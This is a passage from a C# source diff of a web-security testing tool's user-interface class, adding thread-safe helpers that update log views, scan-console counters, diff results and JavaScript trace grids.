+ { + return true; + } + } + + delegate void ShowDiffResults_d(string Status, string SideBySideSource, string SideBySideDestination, string SinglePage); + internal static void ShowDiffResults(string Status, string SideBySideSource, string SideBySideDestination, string SinglePage) + { + if (DW.InvokeRequired) + { + ShowDiffResults_d SDR_d = new ShowDiffResults_d(ShowDiffResults); + DW.Invoke(SDR_d, new object[] { Status, SideBySideSource, SideBySideDestination, SinglePage }); + } + else + { + IronUI.DW.DiffResultRTB.Text = ""; + IronUI.DW.SourceResultRTB.Text = ""; + IronUI.DW.DestinationResultRTB.Text = ""; + + IronUI.DW.DiffResultRTB.Rtf = SinglePage; + IronUI.DW.SourceResultRTB.Rtf = SideBySideSource; + IronUI.DW.DestinationResultRTB.Rtf = SideBySideDestination; + + IronUI.DW.DiffStatusTB.Text = Status; + + if (Status.Length == 0 || Status.StartsWith("Done. Diff Level - ")) IronUI.DW.BaseTabs.SelectedIndex = 1; + IronUI.DW.DiffWindowShowDiffBtn.Enabled = true; + } + } + + internal static void OpenImportForm() + { + if (!IsImportFormOpen()) + { + IronUI.IF = new ImportForm(); + IronUI.IF.Show(); + } + IronUI.IF.Activate(); + } + + internal static bool IsImportFormOpen() + { + if (IronUI.IF == null) + { + return false; + } + else if (IronUI.IF.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + delegate void CloseImportForm_d(); + internal static void CloseImportForm() + { + if (IF.InvokeRequired) + { + CloseImportForm_d CIF_d = new CloseImportForm_d(CloseImportForm); + IF.Invoke(CIF_d, new object[] { }); + } + else + { + IronUI.IF.Close(); + } + } + + internal static bool IsCloseFormOpen() + { + if (IronUI.CF == null) + { + return false; + } + else if (IronUI.CF.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + delegate void LogGridStatus_d(bool Show); + internal static void LogGridStatus(bool Show) + { + if (UI.InvokeRequired) + { + LogGridStatus_d LGS_d = new LogGridStatus_d(LogGridStatus); + UI.Invoke(LGS_d, new object[] { Show }); + } + else + { + if (Show) + { + UI.ShowLogGridBtn.Text = "Hide Log Grids"; + UI.LogBaseSplit.SplitterDistance = (UI.LogBaseSplit.Height / 2); + + } + else + { + UI.ShowLogGridBtn.Text = "Show Log Grids"; + if (UI.LogBaseSplit.Height > 50) UI.LogBaseSplit.SplitterDistance = UI.LogBaseSplit.Height; + } + } + } + + internal static void ResetLogStatus() + { + UI.LogStatusTB.Text = ""; + UI.LogStatusTB.Visible = false; + } + + internal static void ResetLogDisplayFields() + { + ResetLogRequestDisplayFields(); + ResetLogResponseDisplayFields(); + ResetLogStatus(); + } + + internal static void ResetLogRequestDisplayFields() + { + UI.LogRequestView.ClearRequest(); + //UI.LogRequestHeadersIDV.Text = ""; + //UI.LogRequestBodyIDV.Text = ""; + //UI.LogRequestParametersQueryGrid.Rows.Clear(); + //UI.LogRequestParametersBodyGrid.Rows.Clear(); + //UI.LogRequestParametersCookieGrid.Rows.Clear(); + //UI.LogRequestParametersHeadersGrid.Rows.Clear(); + UI.ProxyShowOriginalRequestCB.Checked = false; + //UI.LogRequestFormatXMLTB.Text = ""; + } + + internal static void ResetLogResponseDisplayFields() + { + UI.LogResponseView.ClearResponse(); + //UI.LogResponseHeadersIDV.Text = ""; + //UI.LogResponseBodyIDV.Text = ""; + UI.ProxyShowOriginalResponseCB.Checked = false; + //UI.LogResponseFormatXMLTB.Text = ""; + //UI.LogReflectionRTB.Text = ""; + } + + delegate void ShowLogStatus_d(string Message, bool Error); + internal static void ShowLogStatus(string Message, bool Error) + { + if (UI.LogStatusTB.InvokeRequired) + { + ShowLogStatus_d SLS_d = new ShowLogStatus_d(ShowLogStatus); + UI.Invoke(SLS_d, new object[] { Message, Error }); + } + else + { + if (Error) + { + UI.LogStatusTB.ForeColor = Color.Red; + } + else + { + UI.LogStatusTB.ForeColor = Color.Black; + } + UI.LogStatusTB.Text = Message; + UI.LogStatusTB.Visible = true; + } + } + + delegate void ShowLogBottomStatus_d(string Message, bool Error); + internal static void ShowLogBottomStatus(string Message, bool Error) + { + if (UI.MainLogStatusLbl.InvokeRequired) + { + ShowLogBottomStatus_d SLBS_d = new ShowLogBottomStatus_d(ShowLogBottomStatus); + UI.Invoke(SLBS_d, new object[] { Message, Error }); + } + else + { + if (Error) + { + UI.MainLogStatusLbl.ForeColor = Color.Red; + } + else + { + UI.MainLogStatusLbl.ForeColor = Color.Black; + } + if (Message.Length == 0) + { + UI.MainLogStatusLbl.ForeColor = Color.Black; + UI.MainLogStatusLbl.Text = IronLog.MainLogDefaultMsg; + } + else + { + UI.MainLogStatusLbl.Text = Message; + } + UI.MainLogStatusLbl.Visible = true; + } + } + + delegate void ShowCurrentLogStat_d(); + internal static void ShowCurrentLogStat() + { + if (UI.MainLogStatLbl.InvokeRequired) + { + ShowCurrentLogStat_d SCLS_d = new ShowCurrentLogStat_d(ShowCurrentLogStat); + UI.Invoke(SCLS_d, new object[] { }); + } + else + { + try + { + switch (UI.LogTabs.SelectedTab.Name) + { + case ("ProxyLogTab"): + UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of {2} Proxy Logs", IronLog.ProxyMin, IronLog.ProxyMax, Config.LastProxyLogId); + break; + case ("ScanLogTab"): + UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of {2} Scan Logs", IronLog.ScanMin, IronLog.ScanMax, Config.LastScanLogId); + break; + case ("TestLogTab"): + UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of {2} Test Logs", IronLog.TestMin, IronLog.TestMax, Config.LastTestLogId); + break; + case ("ShellLogTab"): + UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of {2} Shell Logs", IronLog.ShellMin, IronLog.ShellMax, Config.LastShellLogId); + break; + case ("ProbeLogTab"): + UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of {2} Probe Logs", IronLog.ProbeMin, IronLog.ProbeMax, Config.LastProbeLogId); + break; + case ("OtherLogTab"): + if (Config.GetOtherSourceList().Contains(IronLog.SelectedOtherSource)) + { + UI.MainLogStatLbl.Text = string.Format("Showing {0} - {1} of {2} {3} Logs", IronLog.OtherSourceMin, IronLog.OtherSourceMax, Config.GetLastLogId(IronLog.SelectedOtherSource), IronLog.SelectedOtherSource); + } + break; + case ("SiteMapLogTab"): + UI.MainLogStatLbl.Text = string.Format("Showing Logs based on SiteMap"); + break; + } + } + catch (Exception Exp) { IronException.Report("Error showing log stats", Exp); } + } + } + + delegate void FillLogDisplayFields_d(Session IrSe); + internal static void FillLogDisplayFields(Session IrSe) + { + if (UI.LogDisplayTabs.InvokeRequired) + { + FillLogDisplayFields_d FLDF_d = new FillLogDisplayFields_d(FillLogDisplayFields); + UI.Invoke(FLDF_d, new object[] { IrSe }); + } + else + { + if (IrSe == null) return; + if (IrSe.Request != null) FillLogFields(IrSe.Request); + if (IrSe.Response != null) FillLogFields(IrSe.Response, IrSe.Request); + //FillLogReflection(Reflection); + try + { + UI.LogSourceLbl.Text = "Source: " + IronLog.CurrentSourceName; + UI.LogIDLbl.Text = "ID: " + IronLog.CurrentID.ToString(); + } + catch { } + UI.ProxyShowOriginalRequestCB.Checked = false; + UI.ProxyShowOriginalResponseCB.Checked = false; + UI.ProxyShowOriginalRequestCB.Visible = IrSe.OriginalRequest != null; + UI.ProxyShowOriginalResponseCB.Visible = IrSe.OriginalResponse != null; + IronUI.ResetLogStatus(); + } + } + + internal static void FillLogFields(Request Req) + { + UI.LogRequestView.SetRequest(Req); + //FillLogRequestHeaderFields(Request); + //if (Request.HasBody) + //{ + // FillLogRequestBodyFields(Request); + //} + //else + //{ + // FillLogRequestBodyFields(null); + //} + //FillLogParametersFields(Request); + } + + //internal static void FillLogRequestHeaderFields(Request Request) + //{ + // UI.LogRequestHeadersIDV.Text = Request.GetHeadersAsStringWithoutFullURL(); + //} + + //internal static void FillLogRequestBodyFields(Request Request) + //{ + // if (Request == null) + // { + // UI.LogRequestBodyIDV.Text = ""; + // return; + // } + // if (Request.IsBinary) + // { + // UI.LogRequestBodyIDV.Text = Encoding.UTF8.GetString(Request.BodyArray); + // } + // else + // { + // UI.LogRequestBodyIDV.Text = Request.BodyString; + // } + //} + + //internal static void FillLogParametersFields(Request Request) + //{ + // UI.LogRequestParametersQueryGrid.Rows.Clear(); + // foreach (string Name in Request.Query.GetNames()) + // { + // foreach (string Value in Request.Query.GetAll(Name)) + // { + // UI.LogRequestParametersQueryGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // UI.LogRequestParametersBodyGrid.Rows.Clear(); + // foreach (string Name in Request.Body.GetNames()) + // { + // foreach (string Value in Request.Body.GetAll(Name)) + // { + // UI.LogRequestParametersBodyGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // UI.LogRequestParametersCookieGrid.Rows.Clear(); + // foreach (string Name in Request.Cookie.GetNames()) + // { + // foreach (string Value in Request.Cookie.GetAll(Name)) + // { + // UI.LogRequestParametersCookieGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // UI.LogRequestParametersHeadersGrid.Rows.Clear(); + // foreach (string Name in Request.Headers.GetNames()) + // { + // if (!Name.Equals("Host", StringComparison.OrdinalIgnoreCase) && !Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) + // { + // foreach (string Value in Request.Headers.GetAll(Name)) + // { + // UI.LogRequestParametersHeadersGrid.Rows.Add(new object[] { Name, Value }); + // } + // } + // } + //} + + //internal static void FillLogFields(Response Res) + //{ + // + // UI.LogResponseHeadersIDV.Text = Response.GetHeadersAsString(); + // if (Response.HasBody) + // { + // if (Response.IsBinary) + // { + // UI.LogResponseBodyIDV.Text = Encoding.UTF8.GetString(Response.BodyArray); + // } + // else + // { + // UI.LogResponseBodyIDV.Text = Response.BodyString; + // } + // } + // else + // { + // UI.LogResponseBodyIDV.Text = ""; + // } + //} + internal static void FillLogFields(Response Res, Request Req) + { + UI.LogResponseView.SetResponse(Res, Req); + } + + //internal static void FillLogReflection(string Reflection) + //{ + // StringBuilder ReflectionBuilder = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + // ReflectionBuilder.Append(Tools.RtfSafe( Reflection)); + // UI.LogReflectionRTB.Rtf = ReflectionBuilder.ToString(); + //} + + //internal static void FillTestReflection(string Reflection) + //{ + // StringBuilder ReflectionBuilder = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + // ReflectionBuilder.Append(Tools.RtfSafe(Reflection)); + // UI.MTReflectionsRTB.Rtf = ReflectionBuilder.ToString(); + //} + + delegate void SetClipBoard_d(string Message); + internal static void SetClipBoard(string Message) + { + if (UI.LogStatusTB.InvokeRequired) + { + SetClipBoard_d SCB_d = new SetClipBoard_d(SetClipBoard); + UI.Invoke(SCB_d, new object[] { Message }); + } + else + { + try + { + Clipboard.SetText(Message); + } + catch { } + } + } + + //delegate void SetJSTaintTraceCode_d(string Code, bool RichText); + //internal static void SetJSTaintTraceCode(string Code, bool RichText) + //{ + // if (UI.JSTaintTraceInRTB.InvokeRequired) + // { + // SetJSTaintTraceCode_d SJTTC_d = new SetJSTaintTraceCode_d(SetJSTaintTraceCode); + // UI.Invoke(SJTTC_d, new object[] { Code, RichText }); + // } + // else + // { + // if (RichText) + // { + // try + // { + // UI.JSTaintTraceInRTB.Rtf = Code; + // } + // catch { UI.JSTaintTraceInRTB.Text = Code; } + // } + // else + // { + // UI.JSTaintTraceInRTB.Text = Code; + // } + // UI.JSTaintResultGrid.Rows.Clear(); + // } + //} + + //delegate void SetJSTaintTraceResult_d(); + //internal static void SetJSTaintTraceResult() + //{ + // if (UI.JSTaintResultGrid.InvokeRequired) + // { + // SetJSTaintTraceResult_d SJTTR_d = new SetJSTaintTraceResult_d(SetJSTaintTraceResult); + // UI.Invoke(SJTTR_d, new object[] { }); + // } + // else + // { + // List CodeLines = IronJint.UIIJ.Lines; + // List Sources = IronJint.UIIJ.SourceLines; + // List Sinks = IronJint.UIIJ.SinkLines; + // List SourceToSinks = IronJint.UIIJ.SourceToSinkLines; + + // bool ShowCleanLines = UI.JSTaintShowCleanCB.Checked; + // bool ShowSourceLines = UI.JSTaintShowSourceCB.Checked; + // bool ShowSinkLines = UI.JSTaintShowSinkCB.Checked; + // bool ShowSourceToSinkLines = UI.JSTaintShowSourceToSinkCB.Checked; + + // bool LineAdded = false; + // bool SourceLine = false; + // bool SinkLine = false; + // bool SourceToSinkLine = false; + // int RowId = 0; + + // UI.JSTaintResultGrid.Rows.Clear(); + // IronJint.LineNoToGridRowNoMapping.Clear(); + + // for (int i = 0; i 0) + // { + // if (UI.JSTaintResultGrid.Rows[UI.JSTaintResultGrid.Rows.Count - 1].Cells[0].Value.ToString().Equals(LineNo.ToString())) + // { + // LineNo = UI.JSTaintResultGrid.Rows.Count - 1; + // } + // else + // { + // LineNo = UI.JSTaintResultGrid.Rows.Add(new object[] { LineNo, IronJint.UIIJ.Lines[LineNo - 1] }); + // } + // } + // else + // { + // LineNo = UI.JSTaintResultGrid.Rows.Add(new object[] { LineNo, IronJint.UIIJ.Lines[LineNo - 1] }); + // } + // } + // if(LineNo > UI.JSTaintResultGrid.Rows.Count) return; + // switch (Type) + // { + // case("Source"): + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.BackColor = Color.Orange; + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionBackColor = Color.Orange; + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionForeColor = Color.White; + // break; + // case ("Sink"): + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.BackColor = Color.HotPink; + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionBackColor = Color.HotPink; + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionForeColor = Color.White; + // break; + // case ("SourcePlusSink"): + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.BackColor = Color.IndianRed; + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionBackColor = Color.IndianRed; + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionForeColor = Color.White; + // break; + // case ("SourceToSink"): + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.BackColor = Color.Red; + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionBackColor = Color.Red; + // UI.JSTaintResultGrid.Rows[LineNo].Cells[1].Style.SelectionForeColor = Color.White; + // break; + // } + // UI.JSTaintResultGrid.Rows[LineNo].Cells[0].Style.BackColor = Color.DarkBlue; + // UI.JSTaintResultGrid.Rows[LineNo].Cells[0].Style.SelectionBackColor = Color.DarkBlue; + // try + // { + // UI.JSTaintResultGrid.FirstDisplayedScrollingRowIndex = LineNo; + // } + // catch { } + // } + //} + + //delegate void RemoveTaintPauseMarker_d(int LineNo); + //internal static void RemoveTaintPauseMarker(int LineNo) + //{ + // if (UI.JSTaintResultGrid.InvokeRequired) + // { + // RemoveTaintPauseMarker_d RTPM_d = new RemoveTaintPauseMarker_d(RemoveTaintPauseMarker); + // UI.Invoke(RTPM_d, new object[] { LineNo}); + // } + // else + // { + // if (!UI.JSTaintShowCleanCB.Checked) LineNo = UI.JSTaintResultGrid.Rows.Count; + // UI.JSTaintResultGrid.Rows[LineNo - 1].Cells[0].Style.BackColor = Color.White; + // UI.JSTaintResultGrid.Rows[LineNo - 1].Cells[0].Style.SelectionBackColor = Color.White; + // } + //} + + //delegate void ResetTraceStatus_d(); + //internal static void ResetTraceStatus() + //{ + // if (UI.JSTaintContinueBtn.InvokeRequired) + // { + // ResetTraceStatus_d RTS_d = new ResetTraceStatus_d(ResetTraceStatus); + // UI.Invoke(RTS_d, new object[] { }); + // } + // else + // { + // UI.JSTaintTraceControlBtn.Text = "Start Taint Trace"; + // UI.PauseAtTaintCB.Visible = true; + // UI.JSTaintContinueBtn.Visible = false; + // } + //} + + //delegate void ShowTraceStatus_d(string Message, bool Error); + //internal static void ShowTraceStatus(string Message, bool Error) + //{ + // if (UI.JSTaintContinueBtn.InvokeRequired) + // { + // ShowTraceStatus_d STS_d = new ShowTraceStatus_d(ShowTraceStatus); + // UI.Invoke(STS_d, new object[] { Message, Error }); + // } + // else + // { + // UI.JSTaintStatusTB.Text = Message; + // if (Error) + // UI.JSTaintStatusTB.ForeColor = Color.Red; + // else + // UI.JSTaintStatusTB.ForeColor = Color.Black; + // } + //} + + //delegate void ShowTraceContinuteButton_d(); + //internal static void ShowTraceContinuteButton() + //{ + // if (UI.JSTaintContinueBtn.InvokeRequired) + // { + // ShowTraceContinuteButton_d STCB_d = new ShowTraceContinuteButton_d(ShowTraceContinuteButton); + // UI.Invoke(STCB_d, new object[] { }); + // } + // else + // { + // UI.JSTaintContinueBtn.Visible = true; + // } + //} + + //delegate void SetTaintConfig_d(List> Lists, int MaxCount); + //internal static void SetTaintConfig(List> Lists, int MaxCount) + //{ + // if (UI.JSTaintConfigGrid.InvokeRequired) + // { + // SetTaintConfig_d STC_d = new SetTaintConfig_d(SetTaintConfig); + // UI.Invoke(STC_d, new object[] { Lists, MaxCount }); + // } + // else + // { + // UI.JSTaintConfigGrid.Rows.Clear(); + // for (int i = 0; i < MaxCount; i++) + // { + // UI.JSTaintConfigGrid.Rows.Add(new object[] { Lists[0][i], Lists[1][i], Lists[5][i], Lists[6][i], Lists[2][i], Lists[3][i], Lists[4][i] }); + // } + // } + //} + + //delegate void SetTaintHighlighting_d(string HighLightedCode); + //internal static void SetTaintHighlighting(string HighLightedCode) + //{ + // if (UI.JSTaintTraceInRTB.InvokeRequired) + // { + // SetTaintHighlighting_d JSTTIR_d = new SetTaintHighlighting_d(SetTaintHighlighting); + // UI.Invoke(JSTTIR_d, new object[] { HighLightedCode }); + // } + // else + // { + // StringBuilder Rtf = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + // Rtf.Append(Tools.RtfSafe(HighLightedCode)); + // UI.JSTaintTraceInRTB.Rtf = Rtf.ToString(); + // } + //} + + //delegate void SetTaintTraceStatus_d(string Message, bool Error); + //internal static void SetTaintTraceStatus(string Message, bool Error) + //{ + // if (UI.JSTaintStatusTB.InvokeRequired) + // { + // SetTaintTraceStatus_d STTS_d = new SetTaintTraceStatus_d(SetTaintTraceStatus); + // UI.Invoke(STTS_d, new object[] { Message, Error }); + // } + // else + // { + // if (Message.Length == 0) + // { + // UI.JSTaintStatusTB.Visible = false; + // } + // else + // { + // UI.JSTaintStatusTB.Text = Message; + // if (Error) + // UI.JSTaintStatusTB.ForeColor = Color.Red; + // else + // UI.JSTaintStatusTB.ForeColor = Color.Black; + // UI.JSTaintStatusTB.Visible = true; + // } + // } + //} + + //delegate void ShowTaintReasons_d(int LineNo, List SourceReasons, List SinkReasons); + //internal static void ShowTaintReasons(int LineNo, List SourceReasons, List SinkReasons) + //{ + // if (UI.JSTaintReasonsRTB.InvokeRequired) + // { + // ShowTaintReasons_d STR_d = new ShowTaintReasons_d(ShowTaintReasons); + // UI.Invoke(STR_d, new object[] { LineNo, SourceReasons, SinkReasons }); + // } + // else + // { + // StringBuilder Message = new StringBuilder(); + // if (SourceReasons.Count > 0) + // { + // Message.AppendLine("Source Reasons:"); + // } + // foreach (string Reason in SourceReasons) + // { + // Message.AppendLine(Reason); + // } + // Message.AppendLine(""); Message.AppendLine(""); + // if (SinkReasons.Count > 0) + // { + // Message.AppendLine("Sink Reasons:"); + // } + // foreach (string Reason in SinkReasons) + // { + // Message.AppendLine(Reason); + // } + // IronUI.UI.JSTaintReasonsRTB.Text = Message.ToString(); + // } + //} + + delegate void ShowConsoleStatus_d(string Message, bool Error); + internal static void ShowConsoleStatus(string Message, bool Error) + { + if (UI.ConsoleStatusTB.InvokeRequired) + { + ShowConsoleStatus_d SCS_d = new ShowConsoleStatus_d(ShowConsoleStatus); + UI.Invoke(SCS_d, new object[] { Message, Error }); + } + else + { + if (Message.Length == 0) + { + UI.ConsoleStatusTB.Text = ""; + UI.ConsoleStatusTB.Visible = false; + } + else + { + UI.ConsoleStatusTB.Text = Message; + if (Error) + UI.ConsoleStatusTB.ForeColor = Color.Red; + else + UI.ConsoleStatusTB.ForeColor = Color.Black; + UI.ConsoleStatusTB.Visible = true; + } + } + } + + delegate void UpdateConsoleControlsStatus_d(bool ScanActive); + internal static void UpdateConsoleControlsStatus(bool ScanActive) + { + if (UI.ConsoleScanUrlTB.InvokeRequired) + { + UpdateConsoleControlsStatus_d UCCS_d = new UpdateConsoleControlsStatus_d(UpdateConsoleControlsStatus); + UI.Invoke(UCCS_d, new object[] { ScanActive }); + } + else + { + if (ScanActive) + { + UI.ConsoleStartScanBtn.Text = "Stop Scan"; + UI.ConsoleScanUrlTB.ReadOnly = true; + UI.ConsoleScanUrlTB.BackColor = Color.LightGreen; + UI.CrawlerRequestsLbl.Text = "Requests From Crawler: 0"; + UI.ScanJobsCreatedLbl.Text = "ScanJobs Created: 0"; + UI.ScanJobsCompletedLbl.Text = "ScanJobs Completed: 0"; + UI.CrawlerRequestsLbl.Visible = true; + UI.ScanJobsCreatedLbl.Visible = true; + UI.ScanJobsCompletedLbl.Visible = true; + } + else + { + UI.ConsoleStartScanBtn.Text = "Start Scan"; + UI.ConsoleScanUrlTB.ReadOnly = false; + UI.ConsoleScanUrlTB.BackColor = Color.White; + UI.CrawlerRequestsLbl.Visible = false; + UI.ScanJobsCreatedLbl.Visible = false; + UI.ScanJobsCompletedLbl.Visible = false; + UI.ConsoleStartScanBtn.Enabled = true; + ShowConsoleStatus("", false); + } + } + } + + delegate void UpdateConsoleCrawledRequestsCount_d(int Count); + internal static void UpdateConsoleCrawledRequestsCount(int Count) + { + if (UI.ConsoleScanUrlTB.InvokeRequired) + { + UpdateConsoleCrawledRequestsCount_d UCCRC_d = new UpdateConsoleCrawledRequestsCount_d(UpdateConsoleCrawledRequestsCount); + UI.Invoke(UCCRC_d, new object[] { Count }); + } + else + { + UI.CrawlerRequestsLbl.Text = "Requests From Crawler: " + Count.ToString(); + } + } + + delegate void UpdateConsoleScanJobsCreatedCount_d(int Count); + internal static void UpdateConsoleScanJobsCreatedCount(int Count) + { + if (UI.ConsoleScanUrlTB.InvokeRequired) + { + UpdateConsoleScanJobsCreatedCount_d UCSJCC_d = new UpdateConsoleScanJobsCreatedCount_d(UpdateConsoleScanJobsCreatedCount); + UI.Invoke(UCSJCC_d, new object[] { Count }); + } + else + { + UI.ScanJobsCreatedLbl.Text = "ScanJobs Created: " + Count.ToString(); + } + } + + delegate void UpdateConsoleScanJobsCompletedCount_d(int Count); + internal static void UpdateConsoleScanJobsCompletedCount(int Count) + { + if (UI.ConsoleScanUrlTB.InvokeRequired) + { + UpdateConsoleScanJobsCompletedCount_d UCSJCC_d = new UpdateConsoleScanJobsCompletedCount_d(UpdateConsoleScanJobsCompletedCount); + UI.Invoke(UCSJCC_d, new object[] { Count }); + } + else + { + UI.ScanJobsCompletedLbl.Text = "ScanJobs Completed: " + Count.ToString(); + } + } + + delegate void SetUIVisibility_d(bool Visble); + internal static void SetUIVisibility(bool Visble) + { + if (UI.InvokeRequired) + { + SetUIVisibility_d SUIV_d = new SetUIVisibility_d(SetUIVisibility); + UI.Invoke(SUIV_d, new object[] { Visble }); + } + else + { + try { UI.Visible = Visble; } + catch { } + try { AF.Visible = Visble; } + catch { } + try { AUW.Visible = Visble; } + catch { } + try { SBF.Visible = Visble; } + catch { } + try { SSW.Visible = Visble; } + catch { } + try { PE.Visible = Visble; } + catch { } + try { DW.Visible = Visble; } + catch { } + try { EDW.Visible = Visble; } + catch { } + try { CF.Visible = Visble; } + catch { } + } + } + + //delegate void UpdateSessionPluginsInASTab_d(); + //internal static void UpdateSessionPluginsInASTab() + //{ + // if (UI.ConsoleScanUrlTB.InvokeRequired) + // { + // UpdateSessionPluginsInASTab_d USPIAST_d = new UpdateSessionPluginsInASTab_d(UpdateSessionPluginsInASTab); + // UI.Invoke(USPIAST_d, new object[] { }); + // } + // else + // { + // UI.ASSessionPluginsCombo.Items.Clear(); + // UI.ASSessionPluginsCombo.Items.Add(""); + // foreach (string Name in SessionPlugin.List()) + // { + // UI.ASSessionPluginsCombo.Items.Add(Name); + // } + // } + //} + + //internal static void AddStartScanJobWizard(StartScanJobWizard SSW) + //{ + // lock (StartScanJobWizards) + // { + // List ToRemove = new List(); + // for (int i = 0; i < StartScanJobWizards.Count; i++) + // { + // if (StartScanJobWizards[i] == null) + // ToRemove.Add(i); + // else if (StartScanJobWizards[i].IsDisposed) + // ToRemove.Add(i); + // } + // for (int i = 0; i < ToRemove.Count; i++) + // { + // StartScanJobWizards.RemoveAt(ToRemove[i] + i); + // } + // StartScanJobWizards.Add(SSW); + // } + //} + + delegate void ShowHideSessionPluginTraceProgressBar_d(bool Show); + internal static void ShowHideSessionPluginTraceProgressBar(bool Show) + { + if (UI.SessionPluginTraceLoadLogProgressBar.InvokeRequired) + { + ShowHideSessionPluginTraceProgressBar_d SHSPTPB_d = new ShowHideSessionPluginTraceProgressBar_d(ShowHideSessionPluginTraceProgressBar); + UI.Invoke(SHSPTPB_d, new object[] { Show }); + } + else + { + UI.SessionPluginTraceLoadLogProgressBar.Visible = Show; + } + } + + delegate void ShowSessionPluginTraceLog_d(Request Req, Response Res); + internal static void ShowSessionPluginTraceLog(Request Req, Response Res) + { + if (UI.SessionPluginTraceBottomTabs.InvokeRequired) + { + ShowSessionPluginTraceLog_d SSPTL_d = new ShowSessionPluginTraceLog_d(ShowSessionPluginTraceLog); + UI.Invoke(SSPTL_d, new object[] { Req, Res }); + } + else + { + if (Req == null) + { + UI.SessionPluginTraceRequestView.ClearRequest(); + } + else + { + UI.SessionPluginTraceRequestView.SetRequest(Req); + if (Res == null) + { + UI.SessionPluginTraceResponseView.ClearResponse(); + } + else + { + UI.SessionPluginTraceResponseView.SetResponse(Res, Req); + } + } + } + } + + delegate void ShowJsTraceResult_d(string Msg); + internal static void ShowJsTraceResult(string Msg) + { + if (UI.InvokeRequired) + { + UI.Invoke(new ShowJsTraceResult_d(ShowJsTraceResult), new object[] { Msg }); + } + else + { + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.Append(Tools.RtfSafe(Msg)); + UI.JsTraceResultsRTB.Rtf = SB.ToString(); + } + } + + delegate void AddJsTraceObservation_d(List Msgs); + internal static void AddJsTraceObservation(List Msgs) + { + if (UI.InvokeRequired) + { + UI.Invoke(new AddJsTraceObservation_d(AddJsTraceObservation), new object[] { Msgs }); + } + else + { + if (Msgs.Count > 0) + { + foreach (var Msg in Msgs) + { + UI.JsTraceResultsObservationsGrid.Rows.Add(new object[] { UI.JsTraceResultsObservationsGrid.Rows.Count + 1, Msg.Type, Msg.Url, Msg.Details }); + } + UI.JsTraceResultsTabs.TabPages["JsTraceResultsObservationsTab"].Text = string.Format(" Observations - {0} ", UI.JsTraceResultsObservationsGrid.Rows.Count); + } + } + } + + delegate void AddJsTraceNativeMethodCall_d(List Msgs); + internal static void AddJsTraceNativeMethodCall(List Msgs) + { + if (UI.InvokeRequired) + { + UI.Invoke(new AddJsTraceNativeMethodCall_d(AddJsTraceNativeMethodCall), new object[] { Msgs }); + } + else + { + if (Msgs.Count > 0) + { + foreach (var Msg in Msgs) + { + UI.JsTraceResultsMethodCallsGrid.Rows.Add(new object[] { UI.JsTraceResultsMethodCallsGrid.Rows.Count + 1, "", Msg.Time, Msg.Origin, Msg.Method, Msg.Url, Msg.Details }); + } + UI.JsTraceResultsTabs.TabPages["JsTraceResultsNativeMethodsTab"].Text = string.Format(" Native Method Calls - {0} ", UI.JsTraceResultsMethodCallsGrid.Rows.Count); + } + } + } + + delegate void AddJsTraceDomChangeCall_d(List Msgs); + internal static void AddJsTraceDomChangeCall(List Msgs) + { + if (UI.InvokeRequired) + { + UI.Invoke(new AddJsTraceDomChangeCall_d(AddJsTraceDomChangeCall), new object[] { Msgs }); + } + else + { + if (Msgs.Count > 0) + { + foreach (var Msg in Msgs) + { + UI.JsTraceResultsDomChangesGrid.Rows.Add(new object[] { UI.JsTraceResultsDomChangesGrid.Rows.Count + 1, "", Msg.Time, Msg.Origin, Msg.Action, Msg.Url, Msg.Details }); + } + UI.JsTraceResultsTabs.TabPages["JsTraceResultsDomChangesTab"].Text = string.Format(" Dom Changes - {0} ", UI.JsTraceResultsDomChangesGrid.Rows.Count); + } + } + } + + delegate void AddJsTraceAjaxCall_d(List Msgs); + internal static void AddJsTraceAjaxCall(List Msgs) + { + if (UI.InvokeRequired) + { + UI.Invoke(new AddJsTraceAjaxCall_d(AddJsTraceAjaxCall), new object[] { Msgs }); + } + else + { + if (Msgs.Count > 0) + { + foreach (var Msg in Msgs) + { + UI.JsTraceResultsAjaxCallsGrid.Rows.Add(new object[] { UI.JsTraceResultsAjaxCallsGrid.Rows.Count + 1, "", Msg.Time, Msg.SourceOrigin, Msg.TargetOrigin, Msg.Reflection, Msg.Url, Msg.Details }); + } + UI.JsTraceResultsTabs.TabPages["JsTraceResultsAjaxCallsTab"].Text = string.Format(" Ajax Calls - {0} ", UI.JsTraceResultsAjaxCallsGrid.Rows.Count); + } + } + } + + + + static void TurnOffTopMost() + { + Thread.Sleep(1000); + MakeUiTopMost(false); + } + + delegate void MakeUiTopMost_d(bool TopMost); + internal static void MakeUiTopMost(bool TopMost) + { + if (UI.InvokeRequired) + { + MakeUiTopMost_d MUTM_d = new MakeUiTopMost_d(MakeUiTopMost); + UI.Invoke(MUTM_d, new object[] { TopMost }); + } + else + { + if (TopMost) + { + UI.TopMost = true; + TopMostTime = 